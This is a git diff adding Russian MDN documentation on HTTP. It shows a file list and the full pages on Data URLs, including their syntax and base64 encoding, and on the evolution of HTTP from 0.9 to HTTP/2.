aboutsummaryrefslogtreecommitdiff
path: root/files/ru/web/http
diff options
context:
space:
mode:
Diffstat (limited to 'files/ru/web/http')
-rw-r--r--files/ru/web/http/basics_of_http/data_uris/index.html131
-rw-r--r--files/ru/web/http/basics_of_http/evolution_of_http/index.html200
-rw-r--r--files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html188
-rw-r--r--files/ru/web/http/basics_of_http/index.html52
-rw-r--r--files/ru/web/http/basics_of_http/mime_types/common_types/index.html394
-rw-r--r--files/ru/web/http/basics_of_http/mime_types/index.html318
-rw-r--r--files/ru/web/http/conditional_requests/index.html144
-rw-r--r--files/ru/web/http/connection_management_in_http_1.x/index.html84
-rw-r--r--files/ru/web/http/content_negotiation/index.html131
-rw-r--r--files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html256
-rw-r--r--files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html47
-rw-r--r--files/ru/web/http/cors/errors/corsdidnotsucceed/index.html28
-rw-r--r--files/ru/web/http/cors/errors/corsdisabled/index.html24
-rw-r--r--files/ru/web/http/cors/errors/corsmissingalloworigin/index.html58
-rw-r--r--files/ru/web/http/cors/errors/index.html76
-rw-r--r--files/ru/web/http/cors/index.html542
-rw-r--r--files/ru/web/http/csp/index.html193
-rw-r--r--files/ru/web/http/feature_policy/index.html149
-rw-r--r--files/ru/web/http/feature_policy/using_feature_policy/index.html145
-rw-r--r--files/ru/web/http/index.html105
-rw-r--r--files/ru/web/http/messages/index.html147
-rw-r--r--files/ru/web/http/methods/connect/index.html82
-rw-r--r--files/ru/web/http/methods/delete/index.html101
-rw-r--r--files/ru/web/http/methods/get/index.html75
-rw-r--r--files/ru/web/http/methods/head/index.html77
-rw-r--r--files/ru/web/http/methods/index.html73
-rw-r--r--files/ru/web/http/methods/options/index.html126
-rw-r--r--files/ru/web/http/methods/patch/index.html100
-rw-r--r--files/ru/web/http/methods/post/index.html122
-rw-r--r--files/ru/web/http/methods/put/index.html104
-rw-r--r--files/ru/web/http/methods/trace/index.html77
-rw-r--r--files/ru/web/http/overview/index.html172
-rw-r--r--files/ru/web/http/redirections/index.html260
-rw-r--r--files/ru/web/http/server-side_access_control/index.html212
-rw-r--r--files/ru/web/http/session/index.html158
-rw-r--r--files/ru/web/http/status/100/index.html42
-rw-r--r--files/ru/web/http/status/101/index.html45
-rw-r--r--files/ru/web/http/status/103/index.html50
-rw-r--r--files/ru/web/http/status/200/index.html50
-rw-r--r--files/ru/web/http/status/201/index.html43
-rw-r--r--files/ru/web/http/status/202/index.html33
-rw-r--r--files/ru/web/http/status/203/index.html37
-rw-r--r--files/ru/web/http/status/204/index.html49
-rw-r--r--files/ru/web/http/status/205/index.html35
-rw-r--r--files/ru/web/http/status/206/index.html83
-rw-r--r--files/ru/web/http/status/300/index.html41
-rw-r--r--files/ru/web/http/status/301/index.html58
-rw-r--r--files/ru/web/http/status/302/index.html61
-rw-r--r--files/ru/web/http/status/303/index.html57
-rw-r--r--files/ru/web/http/status/304/index.html46
-rw-r--r--files/ru/web/http/status/307/index.html66
-rw-r--r--files/ru/web/http/status/308/index.html46
-rw-r--r--files/ru/web/http/status/400/index.html33
-rw-r--r--files/ru/web/http/status/401/index.html54
-rw-r--r--files/ru/web/http/status/402/index.html49
-rw-r--r--files/ru/web/http/status/403/index.html48
-rw-r--r--files/ru/web/http/status/404/index.html56
-rw-r--r--files/ru/web/http/status/405/index.html37
-rw-r--r--files/ru/web/http/status/406/index.html61
-rw-r--r--files/ru/web/http/status/407/index.html54
-rw-r--r--files/ru/web/http/status/408/index.html39
-rw-r--r--files/ru/web/http/status/409/index.html40
-rw-r--r--files/ru/web/http/status/410/index.html47
-rw-r--r--files/ru/web/http/status/411/index.html36
-rw-r--r--files/ru/web/http/status/412/index.html42
-rw-r--r--files/ru/web/http/status/413/index.html34
-rw-r--r--files/ru/web/http/status/414/index.html41
-rw-r--r--files/ru/web/http/status/415/index.html37
-rw-r--r--files/ru/web/http/status/416/index.html49
-rw-r--r--files/ru/web/http/status/417/index.html41
-rw-r--r--files/ru/web/http/status/418/index.html48
-rw-r--r--files/ru/web/http/status/422/index.html41
-rw-r--r--files/ru/web/http/status/425/index.html40
-rw-r--r--files/ru/web/http/status/426/index.html46
-rw-r--r--files/ru/web/http/status/428/index.html39
-rw-r--r--files/ru/web/http/status/429/index.html42
-rw-r--r--files/ru/web/http/status/431/index.html37
-rw-r--r--files/ru/web/http/status/451/index.html61
-rw-r--r--files/ru/web/http/status/500/index.html45
-rw-r--r--files/ru/web/http/status/501/index.html39
-rw-r--r--files/ru/web/http/status/502/index.html47
-rw-r--r--files/ru/web/http/status/503/index.html43
-rw-r--r--files/ru/web/http/status/504/index.html41
-rw-r--r--files/ru/web/http/status/505/index.html33
-rw-r--r--files/ru/web/http/status/511/index.html37
-rw-r--r--files/ru/web/http/status/index.html353
-rw-r--r--files/ru/web/http/авторизация/index.html123
-rw-r--r--files/ru/web/http/заголовки/accept-charset/index.html83
-rw-r--r--files/ru/web/http/заголовки/accept-language/index.html94
-rw-r--r--files/ru/web/http/заголовки/accept-patch/index.html83
-rw-r--r--files/ru/web/http/заголовки/accept-ranges/index.html72
-rw-r--r--files/ru/web/http/заголовки/accept/index.html89
-rw-r--r--files/ru/web/http/заголовки/access-control-allow-headers/index.html93
-rw-r--r--files/ru/web/http/заголовки/access-control-allow-methods/index.html85
-rw-r--r--files/ru/web/http/заголовки/access-control-allow-origin/index.html94
-rw-r--r--files/ru/web/http/заголовки/access-control-max-age/index.html69
-rw-r--r--files/ru/web/http/заголовки/authorization/index.html91
-rw-r--r--files/ru/web/http/заголовки/cache-control/index.html173
-rw-r--r--files/ru/web/http/заголовки/connection/index.html53
-rw-r--r--files/ru/web/http/заголовки/content-disposition/index.html137
-rw-r--r--files/ru/web/http/заголовки/content-encoding/index.html107
-rw-r--r--files/ru/web/http/заголовки/content-language/index.html103
-rw-r--r--files/ru/web/http/заголовки/content-length/index.html67
-rw-r--r--files/ru/web/http/заголовки/content-type/index.html111
-rw-r--r--files/ru/web/http/заголовки/date/index.html86
-rw-r--r--files/ru/web/http/заголовки/dnt/index.html83
-rw-r--r--files/ru/web/http/заголовки/etag/index.html98
-rw-r--r--files/ru/web/http/заголовки/expect/index.html87
-rw-r--r--files/ru/web/http/заголовки/expires/index.html80
-rw-r--r--files/ru/web/http/заголовки/host/index.html72
-rw-r--r--files/ru/web/http/заголовки/if-match/index.html86
-rw-r--r--files/ru/web/http/заголовки/if-modified-since/index.html94
-rw-r--r--files/ru/web/http/заголовки/if-unmodified-since/index.html103
-rw-r--r--files/ru/web/http/заголовки/index.html573
-rw-r--r--files/ru/web/http/заголовки/last-modified/index.html94
-rw-r--r--files/ru/web/http/заголовки/origin/index.html77
-rw-r--r--files/ru/web/http/заголовки/pragma/index.html78
-rw-r--r--files/ru/web/http/заголовки/range/index.html88
-rw-r--r--files/ru/web/http/заголовки/referer/index.html94
-rw-r--r--files/ru/web/http/заголовки/retry-after/index.html86
-rw-r--r--files/ru/web/http/заголовки/set-cookie/index.html193
-rw-r--r--files/ru/web/http/заголовки/strict-transport-security/index.html112
-rw-r--r--files/ru/web/http/заголовки/vary/index.html81
-rw-r--r--files/ru/web/http/заголовки/x-content-type-options/index.html83
-rw-r--r--files/ru/web/http/заголовки/x-forwarded-for/index.html72
-rw-r--r--files/ru/web/http/заголовки/x-xss-protection/index.html87
-rw-r--r--files/ru/web/http/куки/index.html173
-rw-r--r--files/ru/web/http/кэширование/index.html165
128 files changed, 12355 insertions, 0 deletions
diff --git a/files/ru/web/http/basics_of_http/data_uris/index.html b/files/ru/web/http/basics_of_http/data_uris/index.html
new file mode 100644
index 0000000000..107a3298bc
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/data_uris/index.html
@@ -0,0 +1,131 @@
+---
+title: Data URL
+slug: Web/HTTP/Basics_of_HTTP/Data_URIs
+translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Data URL</strong>, URL имеющий приставку <code>data:</code>, делает возможным встраивание файлов небольшого размера прямо в документ.</p>
+
+<div class="note">
+<p><strong>Заметьте</strong>: современные браузеры обрабатывают Data URL, как неявный уникальный origin, и не заимствуют значение origin из объекта настроек ответственного за навигацию.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Data URL состоит из четырёх сегментов: приставки (<code>data:</code>), <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типа</a>, описывающего  тип данных, дополнительного ключевого слова <code>base64</code> для нетекстовых данных и самой строки данных:</p>
+
+<pre class="syntaxbox">data:[&lt;тип данных&gt;][;base64],&lt;данные&gt;
+</pre>
+
+<p><code>тип данных</code> описывается строкой в формате <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типа</a>, например <code>'image/jpeg'</code> для JPEG файла изображения. При не указывании типа данных, браузер автоматически будет интерпретировать строку данных, как  <code>text/plain;charset=US-ASCII</code></p>
+
+<p>Если данные представляют собой какую-либо текстовую информацию, вы можете просто вставить эту текстовую строку в Data URL (используя соответствующие для типа данных сущности и знаки экранирования). В ином случае вам будет необходимо использовать ключевое слово <code>base64</code> перед вставкой base64-кодированных бинарных данных. Дополнительную информацию о MIME типах вы сможете найти <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">здесь</a> и <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">здесь</a>.</p>
+
+<p>Несколько примеров:</p>
+
+<dl>
+ <dt><code>data:,Hello%2C%20World!</code></dt>
+ <dd>Простые text/plain данные</dd>
+ <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt>
+ <dd>base64-кодированная версия примера выше</dd>
+ <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt>
+ <dd>HTML строка вида: <code>&lt;h1&gt;Hello, World!&lt;/h1&gt;</code></dd>
+ <dt><code>data:text/html,&lt;script&gt;alert('hi');&lt;/script&gt;</code></dt>
+ <dd>HTML строка, вызывающая JavaScript alert функцию. Заметьте необходимость закрывающего &lt;script&gt; тега.</dd>
+</dl>
+
+<h2 id="Кодирование_данных_в_формат_base64"><strong>Кодирование данных в формат base64</strong></h2>
+
+<p>Base64 относится к группе транспортных кодировок, и позволяет представлять бинарные данные в виде ASCII строк, переводя их в radix-64 представление. Состоя только из ASCII символов, base64 строки являются допустимыми для использования в URL, по этой причине они могут быть использованы и в Data URL.</p>
+
+<h3 id="Кодирование_в_Javascript"><strong>Кодирование в Javascript</strong></h3>
+
+<p>Web API имеет встроенные методы для кодирования и декодирования формата base64: <a href="/ru/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 кодирование и декодирование</a>.</p>
+
+<h3 id="Кодирование_на_Unix_системах"><strong>Кодирование на Unix системах</strong></h3>
+
+<p>На Linux и Mac OS X системах, кодирование файлов или строк в формат Base64 может быть выполнено через программу <code>base64</code> в командной строке (или, в качестве альтернативы, программу <code>uuencode</code> с <code>-m</code> аргументом).</p>
+
+<pre class="brush: bash">echo -n hello|base64
+# выводит в консоль: aGVsbG8=
+
+echo -n hello&gt;a.txt
+base64 a.txt
+# выводит в консоль: aGVsbG8=
+
+base64 a.txt&gt;b.txt
+# записывает в файл b.txt: aGVsbG8=
+</pre>
+
+<h3 id="Кодирование_на_Microsoft_Windows"><strong>Кодирование на Microsoft Windows</strong></h3>
+
+<p>Кодирование на Windows может быть выполнено через powershell или какую-либо другую предназначенную для этого программу. Так же кодирование может быть выполнено и через программу <code>base64</code> (смотрите секцию Кодирование на Unix системах), при условии активированной технологии <a href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux">WSL</a>.</p>
+
+<pre class="syntaxbox">[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("hello"))
+# выводит в консоль: aGVsbG8=
+
+bash -c "echo -n hello`|base64"
+# выводит в консоль: aGVsbG8=
+# обратный апостроф (`) используется здесь для экранирования символа вертикальной черты (|)
+</pre>
+
+<h2 id="Распространённые_проблемы"><strong>Распространённые проблемы</strong></h2>
+
+<p>Эта секция описывает ряд проблем, которые могут возникнуть при использовании Data URL.</p>
+
+<p>Для примера рассмотрим Data URL вида:</p>
+
+<pre>data:text/html,lots of text...&lt;p&gt;&lt;a name%3D"bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+<p>результатом декодирования которого будет HTML строка:</p>
+
+<pre>lots of text...&lt;p&gt;&lt;a name="bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+<dl>
+ <dt>Синтаксис</dt>
+ <dd>Data URL представляет собой простой формат, но даже в нём можно забыть добавить запятую перед сегментом данных или произвести ошибку во время их base64 кодирования.</dd>
+ <dt>Форматирование внутри документа</dt>
+ <dd>Встраивание Data URL по сути является встраиванием файла внутрь файла, и длина его строки может быть намного шире, чем ширина заключающего его документа. Так же, несмотря на то, что использование пробелов считается обычной практикой при форматировании данных, есть вероятность, что у вас возникнут проблемы <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">при их base64 кодировании</a>.</dd>
+ <dt>Ограничения длины</dt>
+ <dd>Хотя Firefox поддерживает Data URL практически неограниченных размеров, каждый отдельный браузер имеет свои ограничения на их длину. Например, Opera 11 ограничивает допустимую длину URL до 65535 символов, что означает ограничение сегмента данных в Data URL до 65529 символов (длина в 65529 символов взята из условия использования только только <code>data:</code> сегмента, без определения MIME типа данных).</dd>
+ <dt>Нехватка возможности обработки ошибок</dt>
+ <dd>Опечатки в определении MIME типа или написания ключевого слова <code>'base64'</code> будут проигнорированы без каких-либо уведомлений об ошибках.</dd>
+ <dt>Отсутствие поддержки строки параметров</dt>
+ <dd>
+ <p>В связи с неопределённостью типа сегмента данных в Data URL, строка параметров (характерные для страницы параметры, представляющиеся в виде <code>&lt;url&gt;?parameter-data</code>), добавленная к сегменту данных будет рассматриваться, как часть этих данных.</p>
+ </dd>
+ <dt>Проблемы с безопасностью</dt>
+ <dd>Несколько проблем с безопасностью (например: фишинг) связаны с Data URL и переходом по ним из корневого контекста документа. Чтобы избавиться от этих проблем, переход по URI, начинающихся со схемы <code>data://</code>, из корневого контекста документа перестал быть возможен в Firefox, начиная с версии 59 (и начиная с версии 58 в Nightly/Beta вариантах браузера). Надеемся, что остальные браузеры так же последуют этому примеру. Для дополнительной информации смотрите <a href="https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-58/">Blocking Top-Level Navigations to data URLs for Firefox 58</a>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("2397")}}</td>
+ <td>The "data" URL scheme</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{compat("http.data-url")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 кодирование и декодирование</a></li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/ru/docs/Web/CSS/uri">CSS <code>url()</code></a></li>
+ <li><a href="/ru/docs/Glossary/URI">URI</a></li>
+</ul>
diff --git a/files/ru/web/http/basics_of_http/evolution_of_http/index.html b/files/ru/web/http/basics_of_http/evolution_of_http/index.html
new file mode 100644
index 0000000000..a9605942e8
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/evolution_of_http/index.html
@@ -0,0 +1,200 @@
+---
+title: Evolution of HTTP
+slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+tags:
+ - HTTP
+ - Руководство
+translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><strong>HTTP</strong> is the underlying protocol of the World Wide Web. Invented by Tim Berners-Lee in the years 1989-1991, HTTP has seen many changes, keeping most of the simplicity and further shaping its flexibility. HTTP has evolved, from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the Internet, now carrying images, videos in high resolution and 3D.</p>
+
+<h2 id="Invention_of_the_World_Wide_Web">Invention of the World Wide Web</h2>
+
+<p>In 1989, while he was working at CERN, Tim Berners-Lee wrote a proposal to build a hypertext system over the Internet. Initially calling it the <em>Mesh</em>, it was later renamed to <em>World Wide Web</em> during its implementation in 1990. Built over the existing TCP and IP protocols, it consisted of 4 building blocks:</p>
+
+<ul>
+ <li>A textual format to represent hypertext documents, the <em><a href="/en-US/docs/Web/HTML">HyperText Markup Language</a></em> (HTML).</li>
+ <li>A simple protocol to exchange these documents, the <em>HypertText Transfer Protocol </em>(HTTP).</li>
+ <li>A client to display (and accidentally edit) these documents, the first Web browser called <em>WorldWideWeb</em>.</li>
+ <li>A server to give access to the document, an early version of <em>httpd</em>.</li>
+</ul>
+
+<p>These four building blocks were completed by the end of 1990, and the first servers were already running outside of CERN by early 1991. On August 6<sup>th</sup> 1991, Tim Berners-Lee's <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">post</a> on the public <em>alt.hypertext</em> newsgroup is now considered as the official start of the World Wide Web as a public project.</p>
+
+<p>The HTTP protocol used in those early phases was very simple, later dubbed HTTP/0.9, and sometimes as the one-line protocol.</p>
+
+<h2 id="HTTP0.9_–_The_one-line_protocol">HTTP/0.9 – The one-line protocol</h2>
+
+<p>The initial version of HTTP had no version number; it has been later called 0.9 to differentiate it from the later versions. HTTP/0.9 is extremely simple: requests consist of a single line and start with the only possible method {{HTTPMethod("GET")}} followed by the path to the resource (not the URL as both the protocol, server, and port are unnecessary once connected to the server).</p>
+
+<pre>GET /mypage.html</pre>
+
+<p>The response is extremely simple too: it only consisted of the file itself.</p>
+
+<pre>&lt;HTML&gt;
+A very simple HTML page
+&lt;/HTML&gt;</pre>
+
+<p>Unlike subsequent evolutions, there were no HTTP headers, meaning that only HTML files could be transmitted, but no other type of documents. There were no status or error codes: in case of a problem, a specific HTML file was send back with the description of the problem contained in it, for human consumption.</p>
+
+<h2 id="HTTP1.0_–_Building_extensibility">HTTP/1.0 – Building extensibility</h2>
+
+<p>HTTP/0.9 was very limited and both browsers and servers quickly extended it to be more versatile:</p>
+
+<ul>
+ <li>Versioning information is now sent within each request (<code>HTTP/1.0</code> is appended to the <code>GET</code> line)</li>
+ <li>A status code line is also sent at the beginning of the response, allowing the browser itself to understand the success or failure of the request and to adapt its behavior in consequence (like in updating or using its local cache in a specific way)</li>
+ <li>The notion of HTTP headers has been introduced, both for the requests and the responses, allowing metadata to be transmitted and making the protocol extremely flexible and extensible.</li>
+ <li>With the help of the new HTTP headers, the ability to transmit other documents than plain HTML files has been added (thanks to the {{HTTPHeader("Content-Type")}} header).</li>
+</ul>
+
+<p>A typical request was then looking like this:</p>
+
+<pre>GET /mypage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+&lt;HTML&gt;
+A page with an image
+ &lt;IMG SRC="/myimage.gif"&gt;
+&lt;/HTML&gt;</pre>
+
+<p>Followed by a second connection and request to fetch the image:</p>
+
+<pre>GET /myimage.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+<em>(image content)</em></pre>
+
+<p>These novelties have not been introduced as concerted effort, but as a try-and-see approach over the 1991-1995 period: a server and a browser added one feature and it saw if it get traction. A lot of interoperability problems were common. In November 1996, in order to solve these annoyances, an informational document describing the common practices has been published, {{RFC(1945)}}. This is the definition of HTTP/1.0 and it is notable that, in the narrow sense of the term, it isn't an official standard.</p>
+
+<h2 id="HTTP1.1_–_The_standardized_protocol">HTTP/1.1 – The standardized protocol</h2>
+
+<p>In parallel to the somewhat chaotic use of the diverse implementations of HTTP/1.0, and since 1995, well before the publication of HTTP/1.0 document the next year, proper standardization was in progress. The first standardized version of HTTP, HTTP/1.1 was published in early 1997, only a few months after HTTP/1.0.</p>
+
+<p>HTTP/1.1 clarified ambiguities and introduced numerous improvements:</p>
+
+<ul>
+ <li>A connection can be reused, saving the time to reopen it numerous times to display the resources embedded into the single original document retrieved.</li>
+ <li>Pipelining has been added, allowing to send a second request before the answer for the first one is fully transmitted, lowering the latency of the communication.</li>
+ <li>Chunked responses are now also supported.</li>
+ <li>Additional cache control mechanisms have been introduced.</li>
+ <li>Content negotiation, including language, encoding, or type, has been introduced, and allows a client and a server to agree on the most adequate content to exchange.</li>
+ <li>Thanks to the {{HTTPHeader("Host")}} header, the ability to host different domains at the same IP address now allows server collocation.</li>
+</ul>
+
+<p>A typical flow of requests, all through one single connection is now looking like this:</p>
+
+<pre>GET /en-US/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+<em>(content)</em>
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+<em>(image content of 3077 bytes)</em></pre>
+
+<p>HTTP/1.1 was first published as {{rfc(2068)}} in January 1997.</p>
+
+<h2 id="More_than_15_years_of_extensions">More than 15 years of extensions</h2>
+
+<p>Thanks to its extensibility – creating new headers or methods is easy – and even if the HTTP/1.1 protocol was refined over two revisions, {{RFC("2616")}} published in June 1999 and the series of {{RFC("7230")}}-{{RFC("7235")}} published in June 2014 in prevision of the release of HTTP/2, this protocol has been extremely stable over more than 15 years.</p>
+
+<h3 id="Using_HTTP_for_secure_transmissions">Using HTTP for secure transmissions</h3>
+
+<p>The largest change that happened to HTTP was done as early as end of 1994. Instead of sending HTTP over a basic TCP/IP stack, Netscape Communication created an additional encrypted transmission layer on top of it: SSL. SSL 1.0 was never released outside the companies, but SSL 2.0 and its successors SSL 3.0 and SSL 3.1 allowed for the creation of e-commerce Web sites by encrypting and guaranteeing the authenticity of the messages exchanged between the server and client. SSL was put on the standards track and eventually became TLS, with version 1.0, 1.1, and 1.2 appearing successfully to close vulnerabilities. TLS 1.3 is currently in the making.</p>
+
+<p>During the same time, the need for an encrypted transport layer raised: the Web left the relative trustiness of a mostly academic network, to a jungle where advertisers, random individuals or criminals compete to get as much private information about people, try to impersonate them or even to replace data transmitted by altered ones. As the applications built over HTTP became more and more powerful, having access to more and more private information like address books, e-mail, or the geographic position of the user, the need to have TLS became ubiquitous even outside the e-commerce use case.</p>
+
+<h3 id="Using_HTTP_for_complex_applications">Using HTTP for complex applications</h3>
+
+<p>The original vision of Tim Berners-Lee for the Web wasn't a read-only medium. He envisioned a Web were people can add and move documents remotely, a kind of distributed file system. Around 1996, HTTP has been extended to allow authoring, and a standard called WebDAV was created. It has been further extended for specific applications like CardDAV to handle address book entries and CalDAV to deal with calendars. But all these *DAV extensions had a flaw: they had to be implemented by the servers to be used, which was quite complex. Their use on Web realms stayed confidential.</p>
+
+<p>In 2000, a new pattern for using HTTP was designed: {{glossary("REST", "representational state transfer")}} (or REST). The actions induced by the API were no more conveyed by new HTTP methods, but only by accessing specific URIs with basic HTTP/1.1 methods. This allowed any Web application to provide an API to allow retrieval and modification of its data without having to updated the browsers or the servers: all what is needed was embedded in the files served by the Web sites through standard HTTP/1.1. The drawback of the REST model resides in the fact that each website defines its own non-standard RESTful API and has total control on it; unlike the *DAV extensions were clients and servers are interoperable. RESTful APIs became very common in the 2010s.</p>
+
+<p>Since 2005, the set of APIs available to Web pages greatly increased and several of these APIs created extensions, mostly new specific HTTP headers, to the HTTP protocol for specific purposes:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>, where the server can push occasional messages to the browser.</li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a>, a new protocol that can be set up by upgrading an existing HTTP connection.</li>
+</ul>
+
+<h3 id="Relaxing_the_security-model_of_the_Web">Relaxing the security-model of the Web</h3>
+
+<p>HTTP is independent of the security model of the Web, the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. In fact, the current Web security model has been developed after the creation of HTTP! Over the years, it has proved useful to be able to be more lenient, by allowing under certain constraints to lift some of the restriction of this policy. How much and when such restrictions are lifted is transmitted by the server to the client using a new bunch of HTTP headers. These are defined in specifications like <a href="/en-US/docs/Glossary/CORS">Cross-Origin Resource Sharing</a> (CORS) or the <a href="/en-US/docs/Web/Security/CSP">Content Security Policy</a> (CSP).</p>
+
+<p>In addition to these large extensions, numerous other headers have been added, sometimes experimentally only. Notable headers are Do Not Track ({{HTTPHeader("DNT")}}) header to control privacy, {{HTTPHeader("X-Frame-Options")}}, or {{HTTPHeader('Upgrade-Insecure-Request')}} but many more exist.</p>
+
+<h2 id="HTTP2_–_A_protocol_for_greater_performance">HTTP/2 – A protocol for greater performance</h2>
+
+<p>Over the years, Web pages have become much more complex, even becoming applications in their own right. The amount of visual media displayed, the volume and size of  scripts adding interactivity, has also increased: much more data is transmitted over significantly more HTTP requests. HTTP/1.1 connections need requests sent in the correct order. Theoretically, several parallel connections could be used (typically between 5 and 8), bringing considerable overhead and complexity. For example, HTTP pipelining has emerged as a resource burden in Web development.</p>
+
+<p>In the first half of the 2010s, Google demonstrated an alternative way of exchanging data between client and server, by implementing an experimental protocol SPDY. This amassed interest from developers working on both browsers and servers. Defining an increase in responsiveness, and solving the problem of duplication of data transmitted, SPDY served as the foundations of the HTTP/2 protocol.</p>
+
+<p>The HTTP/2 protocol has several prime differences from the HTTP/1.1 version:</p>
+
+<ul>
+ <li>It is a binary protocol rather than text. It can no longer be read and created manually despite this hurdle, improved optimization techniques can now be implemented.</li>
+ <li>It is a multiplexed protocol. Parallel requests can be handled over the same connection, removing the order and blocking constraints of the HTTP/1.x protocol.</li>
+ <li>It compresses headers. As these are often similar among a set of requests, this removes duplication and overhead of data transmitted.</li>
+ <li>It allows a server to populate data in a client cache, in advance of it being required, through a mechanism called the server push.</li>
+</ul>
+
+<p>Officially standardized, in May 2015, HTTP/2 has had much success. By July 2016, 8.7% of all Web sites<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup> were already using it, representing more than 68% of all requests<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a></sup>. High-traffic Web sites showed the most rapid adoption, saving considerably on data transfer overheads and subsequent budgets.</p>
+
+<p>This rapid adoption rate was likely as HTTP/2 does not require adaptation of Web sites and applications: using HTTP/1.1 or HTTP/2 is transparent for them. Having an up-to-date server communicating with a recent browser is enough to enable its use: only a limited set of groups were needed to trigger adoption, and as legacy browser and server versions are renewed, usage has naturally increased, without further Web developer efforts.</p>
+
+<h2 id="Post-HTTP2_evolution">Post-HTTP/2 evolution</h2>
+
+<p>HTTP didn't stop evolving upon the release of HTTP/2. Like with HTTP/1.x previously, HTTP's extensibility is still beinig used to add new features. Notably, we can cite new extensions of the HTTP protocol appearing in 2016:</p>
+
+<ul>
+ <li>Support of {{HTTPHeader("Alt-Svc")}} allows the dissociation of the identification and the location of a given resource, allowing for a smarter {{Glossary("CDN")}} caching mechanism.</li>
+ <li>The introduction of {{HTTPHeader("Client-Hints")}} allows the browser, or client, to proactively communicate information about its requirements, or hardware constraints, to the server.</li>
+ <li>The introduction of security-related prefixes in the {{HTTPHeader("Cookie")}} header, now helps guarantee a secure cookie has not been altered.</li>
+</ul>
+
+<p>This evolution of HTTP proves its extensibility and simplicity, liberating creation of many applications and compelling the adoption of the protocol. The environment in which HTTP is used today is quite different from that seen in the early 1990s. HTTP's original design proved to be a masterpiece, allowing the Web to evolve over a quarter of a century, without the need of a mutiny. By healing flaws, yet retaining the flexibility and extensibility which made HTTP such a success, the adoption of HTTP/2 hints at a bright future for the protocol.</p>
diff --git a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html
new file mode 100644
index 0000000000..2b52d642b2
--- /dev/null
+++ b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html
